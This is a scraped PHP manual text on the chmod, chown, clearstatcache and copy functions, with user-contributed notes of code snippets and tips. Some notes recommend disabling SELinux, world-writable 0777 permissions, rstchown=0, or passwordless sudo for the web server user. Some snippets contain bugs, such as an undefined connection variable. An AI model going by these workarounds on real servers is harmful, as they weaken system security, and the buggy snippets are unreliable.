the other chmod permissions for the file in tact.

If you have exectue already on, and read off, public viewers will only
be able to view files through links, but not browse
around to see what's inside of directories and see what
you've got laying around. */
//-------------------------------------------------------
// Get file mode
// Get file permissions supported by chmod
function getmod($filename) {
   $val = 0;
   $perms = fileperms($filename);
   // Owner; User
   $val += (($perms & 0x0100) ? 0x0100 : 0x0000); //Read
   $val += (($perms & 0x0080) ? 0x0080 : 0x0000); //Write
   $val += (($perms & 0x0040) ? 0x0040 : 0x0000); //Execute

   // Group
   $val += (($perms & 0x0020) ? 0x0020 : 0x0000); //Read
   $val += (($perms & 0x0010) ? 0x0010 : 0x0000); //Write
   $val += (($perms & 0x0008) ? 0x0008 : 0x0000); //Execute

   // Global; World
   $val += (($perms & 0x0004) ? 0x0004 : 0x0000); //Read
   $val += (($perms & 0x0002) ? 0x0002 : 0x0000); //Write
   $val += (($perms & 0x0001) ? 0x0001 : 0x0000); //Execute

   // Misc
   $val += (($perms & 0x40000) ? 0x40000 : 0x0000); //temporary file (01000000)
   $val += (($perms & 0x80000) ? 0x80000 : 0x0000); //compressed file (02000000)
   $val += (($perms & 0x100000) ? 0x100000 : 0x0000); //sparse file (04000000)
   $val += (($perms & 0x0800) ? 0x0800 : 0x0000); //Hidden file (setuid bit) (04000)
   $val += (($perms & 0x0400) ? 0x0400 : 0x0000); //System file (setgid bit) (02000)
   $val += (($perms & 0x0200) ? 0x0200 : 0x0000); //Archive bit (sticky bit) (01000)

   return $val;
}

//-------------------------------------------------------
// Find out if file has mode
function hasmod($perms, $permission) {

# User Read = 0400 (256), Write = 0200 (128), Execute = 0100 (64)
# Group Read = 0040 (32), Write = 0020 (16), Execute = 0010 (8)
# Public Read = 0004 (4), Write = 0002 (2), Execute = 0001 (1)

    return (($perms & $permission) == $permission);
}

//-------------------------------------------------------
// Take the read option off of all the subdirectories of the included path
function pathlock($dir, $listall = false, $testrun = true) {
   echo "START @ " . date("F j, Y, h:i:s A") . "<br><br>";
   echo ($testrun ? '**Test Run Activated (no changes will be made).**<br><br>' : '**Live Run Activated.**<br><br>');
   echo $dir . " is our directory.<br><br>\n";
   echo "[...IN PROGRESS...]<br><br>";

   $file_list = '';
   $stack[] = $dir;

   while ($stack) {
      $current_dir = array_pop($stack);
      if ($dh = opendir($current_dir)) {
          while (($file = readdir($dh)) !== false) {
              if ($file !== '.' AND $file !== '..') {
                  $current_file = "{$current_dir}/{$file}";
               if (is_dir($current_file)) {
                      // BEG ADD PATH
                   $mode = getmod($current_file);    //Get the mode
                      $HasPubRead = hasmod($mode,4);
                   if ($HasPubRead || $listall) {    // Can the public read this dir?
                  //======================================
                    $ch = true;
                  $take = 0;
                       // Change the mode:
                     if ($HasPubRead) {
                          $take = 4;         // Value for Public Read. 4 is the same in octal and decimal.
                          if (!$testrun) {
                              $ch = chmod($current_file, $mode-$take);
                          }
                      }

                    echo $current_file . ",current=" . decoct($mode) .
                        (($mode!==$mode-$take) ? ",new=" . decoct($mode-$take) : '') .
                        ($ch ? '' : ',FAILED') . "<br>\n";
                   } // end if hasmod
                   // END ADD PATH
                      $stack[] = $current_file;
                  } // if if_dir
              } //if ($file !== '.' AND $file !== '..')
          } //while (($file = readdir($dh)) !== false)
      } //if ($dh = opendir($current_dir))
} // while ($stack)

    echo "<br>COMPLETE @ " . date("F j, Y, h:i:s A") . "<br>\n";
return;
   //return $path_list;
} // end function

//-------------------------------------------------------
    //listall Show all folders, even one's we're not going to process?
    //testrun Do a test run without making any changes
    pathlock($_SERVER["DOCUMENT_ROOT"],false,true); // listall?=false, testrun?=true

?>
redeyeleader 10-Feb-2007 08:05
Here's a version that works with PHP 5.x - I use this to watermark images on a shared server.

<?php
// Connect to the FTP to chmod the file via FTP

$ftpUserName = 'username';
$ftpUserPass = 'userpass';
$ftpServer = 'ftp.example.com';

  $ftpConn = ftp_connect($ftpServer);

  if (!$ftpConn) {
    die("Unable to connect to $ftpServer");
  }

if (@ftp_login($conn_id, $ftpUserName, $ftpUserPass)) {
   echo "Connected as $ftpUserName @ $ftpServer";
}
else {
   echo "Couldn't connect as $ftpUserName";
   ftp_close($ftpConn);
   die("Closed connection to $ftpServer");
}

//Now change permissions to 666 or whatever you need

echo ftp_chmod($ftpConn, 0666, $ftpFilename) ? "CHMOD successful!" : 'Error';

// do what you need here

//Now change permissions back to 644 or whatever
echo ftp_chmod($ftpConn, 0644, $ftpFilename) ? "CHMOD successful!" : 'Error';

// Close the connection
ftp_close($conn_id);
?>
hodgman at ali dot com dot au 17-Jan-2007 09:06
My PHP script refused to delete read-only files (which is probably a good thing), but I couldnt find out how to fix this on windows.

The solution is simple, i just replaced
<?php @unlink( $entry ); ?>
with:
<?php
                @chmod( $entry, 0777 );
                @unlink( $entry );
?>

chmod isnt supposed to work on windows, but 0777 seems to clear the read only flag, and 0444 seems to set the read only flag.
info at web-in-time dot eu 04-Jan-2007 01:11
As you might have noticed there is a minor bug in webmaster at danopia dot 5gigs dot com's code:

You have to set $ftp_root variable outside the function chmod_open() and have to set it as global within the chmod_file() function.

With these patches the code really works fine. THX!

Ben
webmaster at danopia dot 5gigs dot com 02-Jan-2007 06:20
Thanks for your code, "imoldgreg at o2 dot co dot uk". I am using it for an instalation script that has to CHMOD a bunch of files. I have found it faster to use the same connectino for each, as shown below.

<?php

// Thanks to "imoldgreg at o2 dot co dot uk" for the base 'CHMOD via FTP' script.

function chmod_open()
{
    // Use your own FTP info
    $ftp_user_name = 'chmod@XXXXXXXXX.com';
    $ftp_user_pass = 'XXXXXXXXXX';
    $ftp_root = '/';
    $ftp_server = 'localhost';
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    return $conn_id;
}

function chmod_file($conn_id, $permissions, $path)
{
    if (ftp_site($conn_id, 'CHMOD ' . $permissions . ' ' . $ftp_root . $path) !== false)
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}

function chmod_close($conn_id)
{
    ftp_close($conn_id);
}

// CHMOD the required setup files

// Connect to the FTP
$conn_id = chmod_open();

// CHMOD each file and echo the results
echo chmod_file($conn_id, 777, 'master/cache/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/files/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/store/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 766, 'master/config.php') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/images/avatars/upload/') ? 'CHMODed successfully!' : 'Error';

// Close the connection
chmod_close($conn_id);

?>

Here, the same FTP connection is used for each CHMOD command, making the execute time lower. This is essential for me, since my script is also copying a bunch of files.
imoldgreg at o2 dot co dot uk 30-Nov-2006 05:32
an update to 'neil at 11 out of 10's code for changing mode using FTP.

changes: proper array added within the function (better for those of us who only need to connect to one ftp server) so only the mode and directory name need to be passed.

the octal added, for completeness and predictable stability.

<?php
function changemode($xcite)
{
$ftp_details = array(
ftp_user_name => 'username',
ftp_user_pass => 'password',
ftp_user_root => '/public_html/',
ftp_server => 'ftp.something.org'
);

$path = "public";
$mod = intval($xcite, 8);

   // extract ftp details (array keys as variable names)
   extract ($ftp_details);

   // set up basic connection
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   // try to chmod $path directory
   if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
       $success=TRUE;
   }
   else {
       $success=FALSE;
   }

   // close the connection
   ftp_close($conn_id);
    return $success;
}

?>

for those of you, like me, who were looking for a way to make an 'un-hackable' uploader, here's the closest i got, now for a field test, good luck!
NeoSmart Technologies 25-Jul-2006 03:08
The program mentioned below (CHMOD-Win) has been rewritten since, and CHMOD-Win version 3.0 is available for download at http://neosmart.net/dl.php?id=4

It is a conversion utility for CHMOD on Windows and ACL on Linux, comes in handy for installing commercial scripts or defining security policies.
neil at 11 out of 10 11-Apr-2006 12:20
If you get a warning like chmod(): Operation not permitted in /home/folder/public_html/admin/includefiles/fileupload.php on line 24

You can use the ftp_site() function to send a CHMOD command through.
<?php

$ftp_details['ftp_user_name'] = $row['username'];
$ftp_details['ftp_user_pass'] = $row['password'];
$ftp_details['ftp_root'] = '/public_html/';
$ftp_details['ftp_server'] = 'ftp'.$_SERVER['HTTP_HOST'];

function chmod_11oo10($path, $mod, $ftp_details)
{
    // extract ftp details (array keys as variable names)
    extract ($ftp_details);

    // set up basic connection
    $conn_id = ftp_connect($ftp_server);

    // login with username and password
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    // try to chmod $path directory
    if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
        $success=TRUE;
    }
    else {
        $success=FALSE;
    }

    // close the connection
    ftp_close($conn_id);
    return $success;
}
?>
The key thing to remember is that the document root and the ftp root are not the same.
e.g. document root may be "/home/folder/public_html/"
but the ftp root might be "/public_html/"

Hope this helps someone.  You might need this solution if you are on a shared server.
memp 22-Aug-2005 03:04
If you are storing your mode in a variable like

$mode = 0755;

you will run into the inevitable octal mode problem.  An easy way around that is to use the octdec() function.

chmod("some_filename.ext", octdec($mode));
masha at mail dot ru 10-Jul-2005 09:23
Usefull reference:

Value    Permission Level
400    Owner Read
200    Owner Write
100    Owner Execute
40    Group Read
20    Group Write
10    Group Execute
4    Global Read
2    Global Write
1    Global Execute

(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
alex at feidesign dot com 01-Apr-2005 04:20
If you cannot chmod files/directories with PHP because of safe_mode restrictions, but you can use FTP to chmod them, simply use PHP's FTP-functions (eg. ftp_chmod or ftp_site) instead. Not as efficient, but works.
info at rvgate dot nl 02-Feb-2005 05:12
When using ftp_rawlist, in order to get the chmod number from the attributes, i use this code:

<?php
function chmodnum($mode) {
    $realmode = "";
    $legal =  array("","w","r","x","-");
    $attarray = preg_split("//",$mode);
    for($i=0;$i<count($attarray);$i++){
        if($key = array_search($attarray[$i],$legal)){
            $realmode .= $legal[$key];
        }
    }
    $mode = str_pad($realmode,9,'-');
    $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
    $mode = strtr($mode,$trans);
    $newmode = '';
    $newmode .= $mode[0]+$mode[1]+$mode[2];
    $newmode .= $mode[3]+$mode[4]+$mode[5];
    $newmode .= $mode[6]+$mode[7]+$mode[8];
    return $newmode;
}
?>
some examples:

drwxr-xr-x => 755
drwxr-xr-x => 755
dr-xr-xr-x => 555
drwxr-xr-x => 755
drwxr-xr-x => 755
drwxr-xr-x => 755
drwxr-xr-x => 755
drwxrwxrwt => 776
drwxr-xr-x => 755
drwxr-xr-x => 755
lrwxrwxrwx => 777

used some of already posted code...
haasje at welmers dot net 27-Nov-2004 12:09
For recursive chmod'ing see the function below.
Only really usefull when chmod'ing a tree containing directories only, jet, since you don't want an executable bit on a regular file. Who completes the function so it's accepting strings like "g+w", and it's as usefull as unix "chmod -R" ? ;-)

<?php

function chmod_R($path, $filemode) {
    if (!is_dir($path))
       return chmod($path, $filemode);

    $dh = opendir($path);
    while ($file = readdir($dh)) {
        if($file != '.' && $file != '..') {
            $fullpath = $path.'/'.$file;
            if(!is_dir($fullpath)) {
              if (!chmod($fullpath, $filemode))
                 return FALSE;
            } else {
              if (!chmod_R($fullpath, $filemode))
                 return FALSE;
            }
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
      return TRUE;
    else
      return FALSE;
}
?>
PerfectWeb 22-Nov-2004 07:58
As noted by others below... 1) you cannot pass a string to chmod() as the mode, and 2) decimals work as well as octals for the mode.

If you need to come up with the mode on the fly (maybe based on user input) and want to use something like:

$mode = '0'.$owner.$group.$public;

you can use your $mode (which is a string) with chmod like this:

<?php
 // octal mode in a string i.e. '0755'
 $mode = '0'.$owner.$group.$public;

 $mode_dec = octdec($mode);    // convert octal mode to decimal
 chmod($filename, $mode_dec);
?>
fernando at gym-group dot com 12-Nov-2004 07:10
about chmod,
Problably you have a local server to simulate your scripts before upload them to the server. No matter if you use Apache under windows or IIS ,  a chmod instruction like chmod($filename,O777) may not work because windows does not handle that kind of permission's format.
So being in your local server, if you have a only read file and you try to erase, it will show that you dont have permissions even when you have already executed your chmod instrucction correctly. Just up the script it must work well in your internet server if it is a linux machine

sobre chmod,
Probablemente usas un servidor local para probar tus scripts antes de subirlos al servidor en internet. No importa si usas Apache bajo windows o IIS, una instruccion como chmod(nombre_archivo,O777) podrá no trabajar por que windows no maneja esa estructura para definir los permisos.
Estando en tu servidor local, si tienes un archivo de solo lectura y tratas de borrarlo,  se mostrará un error diciendo que no tienes permisos aún despúes de haber ejecutado chmod correctamente. Sube tu script, si tu servidor es una máquina linux, el script trabajará sin problemas en internet.

Fernando Yepes C.
Oliver Hankeln 01-Jul-2004 08:21
Well, you don't need octals.
You need a value that can easily computed and remembered if printed in octal.
511 (decimal) is the same as 777 (octal).
So it's the same wether you write
chmod("foo",511)
or
chmod("foo",0777)

The latter is just better readable.
raven_25041980 at yahoo dot com 24-May-2004 10:45
If you have a mode as a string, chmod will insanely mess up your permissions. Instead of using

<?php

@chmod($file_or_dir_name, $mode);

?>

use

<?php

@chmod(file_or_dir_name, intval($mode, 8));

?>

where 8 -> the base to convert into. You need octals, baby, for chmod...

More on intval here: http://www.php.net/manual/en/function.intval.php
agrenier at assertex dot com 02-Apr-2004 05:17
If you find that chmod does not work on your file and that a new file cannot be created, first try to chmod the directory where the file is being created to 0666/0777. Then PHP should be able to write/append files with mode 0644.
agrenier at assertex dot com 02-Apr-2004 05:11
This function will chmod a $filename before writing to it if:

1 - It exists
2 - It is not writeable
3 - PHP has permission to chmod files

If PHP can't chmod, then the script will end. Otherwise it will attempt to write to a new file.

<?php

    function file_write($filename, $flag, &$content) {
        if (file_exists($filename)) {
            if (!is_writable($filename)) {
                if (!chmod($filename, 0666)) {
                     echo "Cannot change the mode of file ($filename)";
                     exit;
                };
            }
        }
        if (!$fp = @fopen($filename, $flag)) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }

?>
Jazeps Basko 27-Jan-2004 07:37
To convert 'rwxr-xr--' to a number representation of chmod, i use this:
<?php
    function chmodnum($mode) {
        $mode = str_pad($mode,9,'-');
        $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
        $mode = strtr($mode,$trans);
        $newmode = '';
        $newmode .= $mode[0]+$mode[1]+$mode[2];
        $newmode .= $mode[3]+$mode[4]+$mode[5];
        $newmode .= $mode[6]+$mode[7]+$mode[8];
        return $newmode;
    }
?>
pmichaud at pobox dot com 19-Apr-2003 03:45
In the previous post, stickybit avenger writes:
    Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value...

Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod:

<?php
    chmod("file",01777);   // correct
     chmod("file",1777);    // incorrect, same as chmod("file",01023), causing no owner permissions!
?>

Rule of thumb: always prefix octal mode values with a zero.
sticky bit avenger 12-Mar-2003 03:30
Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value. Do NOT do this if you don't have root privileges. When 'sticky bit' is set ONLY the fileuser can delete it afterwards, typically 'httpd' or something like that in case of an upload-script for example. I was unaware of this and actually had to make a script for deleting these files as I could not do this from ftp/ssh even though I did have read/write/execute access to both files and folders. Use simply '0777' or similiar.
Half-Dead at nospam dot com 08-Nov-2002 02:42
[Editor's note:
That is due the fact Win32 systems treat premissions. You do not really have any other levels but read-only.

Maxim]

On WinME with apache chmod also works to a certain limit.

What happens is that apparently only the first number is counted, so 0666 (read-write) is the same as 0777, 0644, 0600, etc, and 0444 (read-only) is the same as 477, 400, etc.

..didn't test 0500 series
FF7Cayn at gmx dot de 27-Oct-2001 05:09
It does work on Windows.
I use Win 98 with the Sambar Server.
The only chmods allowed are the 775 and 666 mod. 775 for non-writeable and 666 for writeable. The only thing is that the usergroups doesn't work.
Note: the 0 at the start doesn't work with windows. use only the decimal kind.
Have fun :)
jon at zend dot com 15-Oct-2001 08:37
if 'mode' is held in a variable and is and octal value you need to convert it to decimal before passing it to the function:
chmod ($filename, octdec($mode))
gnettles2 at home dot com 24-Aug-2001 11:20
Usually when you're trying to write to af file, you'll need to chmod the file to something like 666 or 755. You can use a command to chmod the file for you, which is especially useful when you're making a script where you're setting it up so that your users don't have to peform a bunch of actions to setup the script. When i wrote my news program script, I only had two files. install.php and config.php. All you had to do was chmod install.php to 666 and open it up in a web browser and answer a few questions. The script itself setup the rest of the files and chmodded them for you.
chgrp
chown
Filesystem Functions


Changes file owner

chmod
clearstatcache
Filesystem Functions
PHP Manual

chown

(PHP 4, PHP 5)

chown — Changes file owner

Description

bool chown ( string $filename , mixed $user )

Attempts to change the owner of the file filename to user user. Only the superuser may change the owner of a file.

Parameters

filename

Path to the file.

user

A user name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple chown() usage

<?php

// File name and username to use
$file_name= "foo.php";
$path = "/home/sites/php.net/public_html/sandbox/" . $file_name ;
$user_name = "root";

// Set the user
chown($path, $user_name);

// Check the result
$stat = stat($path);
print_r(posix_getpwuid($stat['uid']));

?>

The above example will output something similar to:

Array
(
    [name] => root
    [passwd] => x
    [uid] => 0
    [gid] => 0
    [gecos] => root
    [dir] => /root
    [shell] => /bin/bash
)

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

See Also

  • chmod() - Changes file mode

User Contributed Notes

rickard at 0x539 dot se 18-Jun-2009 02:04
For most modern Linux systems your apache user should not be run as root, and in order to change the ownership of a file or directory, you need to be root. To get around this problem you can use sudo, but be careful with what permissions you give. Here is an example which is working for me:

www-data        ALL = NOPASSWD: /bin/chown 1[1-9][0-9][0-9]\:1[1-9][0-9][0-9] /home/www/[a-zA-Z0-9]*

This allows the apache server to change ownership of files in /home/www with name containing a-z, A-Z or numbers (note: no subdirectories). The only valid input of userid is a four digit numeric id, between 1100 and 1999.

Hope this helps.
Mikevac at yahoo dot com 01-Feb-2008 11:42
I've only tested this on Solaris 10 so your mileage may vary.

To allow the apache daemon to change file ownership without being root, add the following line to /etc/system:

set rstchown=0

Reboot the server.

There are security concerns doing this as this modification allows any user to change ownership of their files to anyone else.
Tayfun Bilsel 11-Jan-2006 08:13
Simple usage of the chown:

<?php

$file_name= "test";
$path = "/var/www/html/test/" . $file_name ;

$user_name = "root";

chown($path, $user_name);

?>
Jens Vieler 23-May-2005 12:38
for some reason i was searching for chown() with an "on this mashine"-unknown userid and found martijn's hint very interesting. the main problem is, that if the numerical uid is used within a variable, it is checked against the /etc/passwd and returns "unknown user". a little note:

use intval(), not inval()! so all in all it is:

   chown($path_to_dir,intval($uidnumber));
greg _at_ rhythmicdesign d.o.t com 23-Feb-2004 04:00
<?php
function recurse_chown_chgrp($mypath, $uid, $gid)
{
    $d = opendir ($mypath) ;
    while(($file = readdir($d)) !== false) {
        if ($file != "." && $file != "..") {

            $typepath = $mypath . "/" . $file ;

            //print $typepath. " : " . filetype ($typepath). "<BR>" ;
            if (filetype ($typepath) == 'dir') {
                recurse_chown_chgrp ($typepath, $uid, $gid);
            }

            chown($typepath, $uid);
            chgrp($typepath, $gid);

        }
    }

 }

recurse_chown_chgrp ("uploads", "unsider", "unsider") ;
?>

for older versions.. unfortunately, it seems I do not have permission to perform these functions.
Richard Esplin 11-Oct-2003 08:49
As far as I can tell, PHP's built in functions will not do a recursive chown or chgrp. But it wouldn't be hard to write a function for this. Here is some starter code based on an example written by John Coggeshall which I found at http://www.coggeshall.org :

<?php
function recurse_chown_chgrp($path2dir, $uid, $gid){
    $dir = new dir($path2dir);
    while(($file = $dir->read()) !== false) {
        if(is_dir($dir->path.$file)) {
            recurse_chown_chgrp($dir->path.$file, $uid, $gid);
        } else {
            chown($file, $uid);
            chgrp($file, $gid);
        }
    }
    $dir->close();
}
?>

I have not tested this code (but I think it will work) because for my current needs, a simple exec("chown -r $user.$group $path"); is sufficient. I would need this code if I were not in control of the contents of these variables because they can be dangerous on the command line.
Klaus Zierer 27-Jun-2003 08:37
If you want to chown a symlink, PHP will follow the symlink and change the target file.

If you want to chown the symlink, you have to use shell_exec("/bin/chown user.group symlink");
martijn at sigterm dot nl 20-Jun-2003 07:28
If chown is filled with a variable (  chown ("myfile", $uid) the uid will be looked up through pwget_uid.

So if you need to set a non existing uid use inval($uid).
njs+php at scifi dot squawk dot com 21-Sep-2000 11:28
If you allow sudo execution for chmod by "nobody" (www, webdaemon, httpd, whatever user php is running under)in this manner, it had better be a system on which the owner is able to be root and no one else can run code, else your whole system is compromised.  Someone could change the mode of /etc/passwd or the shadow password file.

Other system commands (sudo mount) and so forth are similar.
chmod
clearstatcache
Filesystem Functions


Clears file status cache

chown
copy
Filesystem Functions
PHP Manual

clearstatcache

(PHP 4, PHP 5)

clearstatcache — Clears file status cache

Description

void clearstatcache ([ bool $clear_realpath_cache = false [, string $filename ]] )

When you use stat(), lstat(), or any of the other functions listed in the affected functions list (below), PHP caches the information those functions return in order to provide faster performance. However, in certain cases, you may want to clear the cached information. For instance, if the same file is being checked multiple times within a single script, and that file is in danger of being removed or changed during that script's operation, you may elect to clear the status cache. In these cases, you can use the clearstatcache() function to clear the information that PHP caches about a file.

You should also note that PHP doesn't cache information about non-existent files. So, if you call file_exists() on a file that doesn't exist, it will return FALSE until you create the file. If you create the file, it will return TRUE even if you then delete the file. However unlink() clears the cache automatically.

Note:

This function caches information about specific filenames, so you only need to call clearstatcache() if you are performing multiple operations on the same filename and require the information about that particular file to not be cached.

Affected functions include stat(),
lstat(),
file_exists(),
is_writable(),
is_readable(),
is_executable(),
is_file(),
is_dir(),
is_link(),
filectime(),
fileatime(),
filemtime(),
fileinode(),
filegroup(),
fileowner(),
filesize(),
filetype(), and
fileperms().

Parameters

clear_realpath_cache

Whether to clear the realpath cache or not.

filename

Clear the realpath cache for a specific filename; only used if clear_realpath_cache is TRUE.

Return Values

No value is returned.

Changelog

Version | Description
5.3.0 | Added optional clear_realpath_cache and filename parameters.

Examples

Example #1 clearstatcache() example

<?php
$file = 'output_log.txt';

function get_owner($file)
{
    $stat = stat($file);
    $user = posix_getpwuid($stat['uid']);
    return $user['name'];
}

$format = "UID @ %s: %s\n";

printf($format, date('r'), get_owner($file));

chown($file, 'ross');
printf($format, date('r'), get_owner($file));

clearstatcache();
printf($format, date('r'), get_owner($file));
?>

The above example will output something similar to:

UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross

User Contributed Notes

matt_m at me dot com 23-Sep-2011 03:04
unlink() does not clear the cache if you are performing file_exists() on a remote file like:

<?php
if (file_exists("ftp://ftp.example.com/somefile"))
?>

In this case, even after you unlink() successfully, you must call clearstatcache().

<?php
unlink("ftp://ftp.example.com/somefile");
clearstatcache();
?>

file_exists() then properly returns false.
markandrewslade at gmail dot com 08-Mar-2010 11:54
On Linux, a forked process inherits a copy of the parent's cache, but after forking the two caches do not impact each other.  The snippet below demonstrates this by creating a child and confirming outdated (cached) information, then clearing the cache, and getting new information.

<?php

function report($directory, $prefix = '') { printf('%sDoes %s exist?  PHP says "%s"'. PHP_EOL, $prefix, $directory, is_dir($directory) ? 'yes' : 'no'); }
$target = './delete-me-before-running-statcache';

if (is_dir($target)) {
    die("Delete $target before running.\n");
}

echo "Creating $target.\n";
mkdir($target) || die("Unable to create $target.\n");
report($target); // is_dir($target) is now cached as true

echo "Unlinking $target.\n";
rmdir($target) || die("Unable to unlink $target.\n");

// This will say "yes", which is old (inaccurate) information.
report($target);

if (($pid = pcntl_fork()) === -1) { die("Failed to pcntl_fork.\n"); }
elseif ($pid === 0) {
    // child
    report($target, '<<child>> ');
    echo "<<child>> Clearing stat cache.\n";
    clearstatcache();
    report($target, '<<child>> ');
} else {
    // parent
    sleep(2); // move this to the child block to reverse the test.
    report($target, '<<<parent>> ');
    clearstatcache();
    report($target, '<<<parent>> ');
}

?>
chown
copy
Filesystem Functions


Copies file

clearstatcache
delete
Filesystem Functions
PHP Manual

copy

(PHP 4, PHP 5)

copy — Copies file

Description

bool copy ( string $source , string $dest [, resource $context ] )

Makes a copy of the file source to dest.

If you wish to move a file, use the rename() function.

Parameters

source

Path to the source file.

dest

The destination path. If dest is a URL, the copy operation may fail if the wrapper does not support overwriting of existing files.

Warning

If the destination file already exists, it will be overwritten.

context

A valid context resource created with stream_context_create().

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Added context support.
4.3.0 | Both source and dest may now be URLs if the "fopen wrappers" have been enabled. See fopen() for more details.

Examples

Example #1 copy() example

<?php
$file = 'example.txt';
$newfile = 'example.txt.bak';

if (!copy($file, $newfile)) {
    echo "failed to copy $file...\n";
}
?>

See Also

  • move_uploaded_file() - Moves an uploaded file to a new location
  • rename() - Renames a file or directory
  • The section of the manual about handling file uploads

User Contributed Notes

nikonier 24-Nov-2011 01:22
I tried to copy a file from /tmp to /var/www/html.
But i always get an permission denied (even after a chmod 0777 to the /var/www/html directory)

After spending a lot of hours searching for my error, I found it.
But not where I thought it....It was the turned on SELinux.
(Fedora 15).So i do a echo 0 >/selinux/enforce and everything works perfect. (Look here for disabling SELinux: http://www.crypt.gen.nz/selinux/disable_selinux.html)

regards,
Juergen
ravindersingh dot jal at gmailDELTHIS dot com 08-Jul-2011 04:20
I had to copy a directory but the top level folder name would be different at dest i.e. dirparent/dirchild -> diff/dirchild . I thought I would just copy and rename the destination but you can't rename non empty directories. I wrote this function to work around this:

<?php
function RecursiveCopy($source, $dest, $diffDir = ''){
    $sourceHandle = opendir($source);
    if(!$diffDir)
            $diffDir = $source;

    mkdir($dest . '/' . $diffDir);

    while($res = readdir($sourceHandle)){
        if($res == '.' || $res == '..')
            continue;

        if(is_dir($source . '/' . $res)){
            RecursiveCopy($source . '/' . $res, $dest, $diffDir . '/' . $res);
        } else {
            copy($source . '/' . $res, $dest . '/' . $diffDir . '/' . $res);

        }
    }
}
?>
promaty at gmail dot com 17-May-2011 11:13
Here is a simple script that I use for removing and copying non-empty directories. Very useful when you are not sure what is the type of a file.

I am using these for managing folders and zip archives for my website plugins.

<?php

// removes files and non-empty directories
function rrmdir($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rrmdir("$dir/$file");
    rmdir($dir);
  }
  else if (file_exists($dir)) unlink($dir);
}

// copies files and non-empty directories
function rcopy($src, $dst) {
  if (file_exists($dst)) rrmdir($dst);
  if (is_dir($src)) {
    mkdir($dst);
    $files = scandir($src);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rcopy("$src/$file", "$dst/$file");
  }
  else if (file_exists($src)) copy($src, $dst);
}
?>

Cheers!
cory at veck dot ca 29-Apr-2011 11:17
My own 'cp -R' written in PHP.

Hopefully it will work for your situation. I'm using it in a web based file manager for my CMS.

<?php

    define('DS', DIRECTORY_SEPARATOR); // I always use this short form in my code.

    function copy_r( $path, $dest )
    {
        if( is_dir($path) )
        {
            @mkdir( $dest );
            $objects = scandir($path);
            if( sizeof($objects) > 0 )
            {
                foreach( $objects as $file )
                {
                    if( $file == "." || $file == ".." )
                        continue;
                    // go on
                    if( is_dir( $path.DS.$file ) )
                    {
                        copy_r( $path.DS.$file, $dest.DS.$file );
                    }
                    else
                    {
                        copy( $path.DS.$file, $dest.DS.$file );
                    }
                }
            }
            return true;
        }
        elseif( is_file($path) )
        {
            return copy($path, $dest);
        }
        else
        {
            return false;
        }
    }

?>
Yoga Wibowo Aji 08-Feb-2011 09:22
you can try this code if you don't having permission to access the shell
this code is alternative for file copy

<?php
$source = 'myfile.doc';
$destination = 'clonefile.doc';

$data = file_get_contents($source);

$handle = fopen($destination, "w");
fwrite($handle, $data);
fclose($handle);
?>
tomas at slax dot org 21-Jan-2011 04:09
Very important to note is that copy() handles url wrappers, but sometimes incorrectly. For example, you can copy a file like

<?php
   copy("http://example.net/file.dat","./local_file.dat");
?>

However, it doesn't work with spaces in filename (as of PHP 5.2.13, please test in newer versions).

<?php
   copy("http://example.net/file with space.dat","./local_file.dat");
?>

To fix this, you need to replace spaces with %20.
eng-ayman at aymax dot net 30-Aug-2009 05:48
some hosts disable copy() function and say its for security

and for some copy is important so this is and simple function that do same as copy function effect

how smart php can help us l like php

<?php
    function copyemz($file1,$file2){
          $contentx =@file_get_contents($file1);
                   $openedfile = fopen($file2, "w");
                   fwrite($openedfile, $contentx);
                   fclose($openedfile);
                    if ($contentx === FALSE) {
                    $status=false;
                    }else $status=true;

                    return $status;
    }
?>
Sina Salek 02-Jun-2009 05:02
Thanks for all the comments, i wrote this function for fully supporting file and directory copy.
As you may have noticed there are feature that didn't have time to implement , but if you have time to implement them or even add more cool features, please notify me as well :). you can find me here http://sina.salek.ws/en/contact

PS : It was very useful for me, hope you find it useful as well.

<?php
    /**
     * Copy file or folder from source to destination, it can do
     * recursive copy as well and is very smart
     * It recursively creates the dest file or directory path if there weren't exists
     * Situtaions :
     * - Src:/home/test/file.txt ,Dst:/home/test/b ,Result:/home/test/b -> If source was file copy file.txt name with b as name to destination
     * - Src:/home/test/file.txt ,Dst:/home/test/b/ ,Result:/home/test/b/file.txt -> If source was file Creates b directory if does not exsits and copy file.txt into it
     * - Src:/home/test ,Dst:/home/ ,Result:/home/test/** -> If source was directory copy test directory and all of its content into dest
